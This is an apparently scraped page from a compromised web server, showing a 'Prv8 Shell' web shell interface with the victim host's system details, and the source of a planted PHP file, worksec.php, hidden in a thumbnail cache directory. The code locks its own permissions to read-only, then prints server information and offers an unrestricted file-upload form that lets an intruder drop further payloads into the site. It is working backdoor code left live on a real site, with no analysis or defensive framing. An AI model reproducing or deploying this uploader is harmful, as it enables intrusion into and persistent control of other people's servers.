Prv8 Shell
Server : Apache
System : Linux vps-1386233.fundacionavanta.org 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : grupobalcacom ( 1010)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/grupobalcacom/public_html/colaboradores.grupobalca.com/.tmb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/grupobalcacom/public_html/colaboradores.grupobalca.com/.tmb/worksec.php
<?php

// Path to the file
$file = 'worksec.php';

// Change the file permissions to 0444 (read-only)
chmod($file, 0444);

?>
<?php

error_reporting(0);
set_time_limit(0);
$user = get_current_user();

echo "<center><b>Uname:".php_uname()."<br></b>"; 
echo "<br><b>Base Dir : ".getcwd()."<br></b>";
echo "<br><b>User : ".$user."<br></b>";
echo '<br><font color="black" size="4">';
if(isset($_POST['Submit'])){
    $filedir = ""; 
    $maxfile = '2000000';
    $mode = '0644';
    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if(isset($_FILES['image']['name'])) {
        $qx = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $qx);
        @chmod ($qx, octdec($mode));
	echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>";
	}
}else{
	echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo '</center></font>';

?>

haha - 2025